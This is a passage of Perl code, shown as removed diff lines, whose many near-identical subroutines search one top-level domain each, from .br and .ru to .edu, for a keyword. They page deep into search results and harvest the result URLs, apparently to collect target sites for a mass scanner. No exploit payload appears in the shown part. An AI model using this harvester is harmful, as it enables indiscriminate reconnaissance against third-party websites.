- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub br() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack2.uri_escape($key)."%2Bsite%3Abr%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub se() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack3.uri_escape($key)."%2Bsite%3Ase%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub ar() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack4.uri_escape($key)."%2Bsite%3Aar%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub by() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack5.uri_escape($key)."%2Bsite%3Aby%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub ru() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack6.uri_escape($key)."%2Bsite%3Aru%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub ph() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack7.uri_escape($key)."%2Bsite%3Aph%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub net() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack1.uri_escape($key)."%2Bsite%3Anet%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub ca() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack2.uri_escape($key)."%2Bsite%3Aca%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub es() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack3.uri_escape($key)."%2Bsite%3Aes%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub com() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack4.uri_escape($key)."%2Bsite%3Acom%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub it() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack5.uri_escape($key)."%2Bsite%3Ait%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub mx() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack6.uri_escape($key)."%2Bsite%3Amx%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub cl() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack1.uri_escape($key)."%2Bsite%3Acl%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub jp() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack2.uri_escape($key)."%2Bsite%3Ajp%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub de() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack1.uri_escape($key)."%2Bsite%3Ade%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub au() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack2.uri_escape($key)."%2Bsite%3Aau%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub nl() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack3.uri_escape($key)."%2Bsite%3Anl%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub ro() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack4.uri_escape($key)."%2Bsite%3Aro%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub fr() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack5.uri_escape($key)."%2Bsite%3Afr%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub cz() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack6.uri_escape($key)."%2Bsite%3Acz%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub dk() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack7.uri_escape($key)."%2Bsite%3Adk%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub biz() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack1.uri_escape($key)."%2Bsite%3Abiz%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub cat() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack2.uri_escape($key)."%2Bsite%3Acat%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub ir() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack3.uri_escape($key)."%2Bsite%3Air%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub hk() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack4.uri_escape($key)."%2Bsite%3Ahk%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub me() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack5.uri_escape($key)."%2Bsite%3Ame%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub us() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack6.uri_escape($key)."%2Bsite%3Aus%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub cn() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack3.uri_escape($key)."%2Bsite%3Acn%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub ve() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack4.uri_escape($key)."%2Bsite%3Ave%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub tw() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack1.uri_escape($key)."%2Bsite%3Atw%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub info() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack2.uri_escape($key)."%2Bsite%3Ainfo%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub kr() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack3.uri_escape($key)."%2Bsite%3Akr%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub at() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack4.uri_escape($key)."%2Bsite%3Aat%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub in() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack5.uri_escape($key)."%2Bsite%3Ain%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub my() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack6.uri_escape($key)."%2Bsite%3Amy%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub sk() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack7.uri_escape($key)."%2Bsite%3Ask%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub za() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack1.uri_escape($key)."%2Bsite%3Aza%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub su() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack2.uri_escape($key)."%2Bsite%3Asu%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub tr() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack3.uri_escape($key)."%2Bsite%3Atr%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub edu() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack4.uri_escape($key)."%2Bsite%3Aedu%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub no() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack5.uri_escape($key)."%2Bsite%3Ano%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub vn() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack6.uri_escape($key)."%2Bsite%3Avn%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub mobi() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack5.uri_escape($key)."%2Bsite%3Amobi%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub pl() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack6.uri_escape($key)."%2Bsite%3Apl%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub id() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack1.uri_escape($key)."%2Bsite%3Aid%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub th() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack2.uri_escape($key)."%2Bsite%3Ath%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub si() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack3.uri_escape($key)."%2Bsite%3Asi%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub asia() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack4.uri_escape($key)."%2Bsite%3Aasia%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub eu() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack5.uri_escape($key)."%2Bsite%3Aeu%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub be() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack6.uri_escape($key)."%2Bsite%3Abe%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub hu() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack7.uri_escape($key)."%2Bsite%3Ahu%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub lv() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack1.uri_escape($key)."%2Bsite%3Alv%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub coop() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack2.uri_escape($key)."%2Bsite%3Acoop%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub ua() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack3.uri_escape($key)."%2Bsite%3Aua%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub tv() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack4.uri_escape($key)."%2Bsite%3Atv%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub ie() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack5.uri_escape($key)."%2Bsite%3Aie%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub co() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack6.uri_escape($key)."%2Bsite%3Aco%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub ae() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack7.uri_escape($key)."%2Bsite%3Aae%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub pro() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack1.uri_escape($key)."%2Bsite%3Apro%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub name() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack1.uri_escape($key)."%2Bsite%3Aname%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub org() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack2.uri_escape($key)."%2Bsite%3Aorg%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub mn() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack3.uri_escape($key)."%2Bsite%3Amn%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub bg() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack4.uri_escape($key)."%2Bsite%3Abg%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub nz() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack5.uri_escape($key)."%2Bsite%3Anz%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub ee() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack6.uri_escape($key)."%2Bsite%3Aee%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub gr() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack7.uri_escape($key)."%2Bsite%3Agr%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub pt() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack1.uri_escape($key)."%2Bsite%3Apt%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub tn() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack2.uri_escape($key)."%2Bsite%3Atn%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub ke() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack3.uri_escape($key)."%2Bsite%3Ake%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
